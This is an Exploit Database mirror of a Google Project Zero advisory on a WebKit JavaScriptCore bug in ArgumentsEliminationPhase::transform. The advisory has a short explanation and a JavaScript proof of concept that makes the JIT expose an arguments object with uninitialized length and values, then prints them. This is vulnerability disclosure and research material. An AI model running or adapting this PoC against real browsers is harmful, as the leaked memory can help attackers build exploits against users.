WebKit JSC – ‘ArgumentsEliminationPhase::transform’ Incorrect LoadVarargs Handling

• Exploit Database
• 111 阅读

• 作者： Google Security Research
  日期： 2017-07-25
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/42376/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69

  <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1262   Here is a snippet of ArgumentsEliminationPhase::transform case LoadVarargs: ... if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) { ... if (argumentCountIncludingThis <= varargsData->limit) { storeArgumentCountIncludingThis(argumentCountIncludingThis); // store arguments ... }   node->remove(); node->origin.exitOK = canExit; break; }   Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.   PoC: -->   const kArgsLength = 0x101;   let buggy = null; function inlineFunc() { if (arguments.length != kArgsLength) { buggy = arguments; } }   class ClassForInine extends inlineFunc { }   function sleep(ms) { let start = new Date(); while (new Date() - start < ms); }   function main() { let args = new Array(kArgsLength); args.fill(333 + 1); args = args.join(&apos;, &apos;);   let opt = new Function(<code>(() => { new ClassForInine(${args}); })();</code>);   for (let i = 0; i < 0x100000; i++) { opt();   if (i === 0x3000) sleep(1000);   if (buggy) { print(&apos;buggy.length: &apos; + buggy.length); break; } }   for (let i = 0, n = buggy.length; i < n; i++) { print(buggy[i]); } }   main();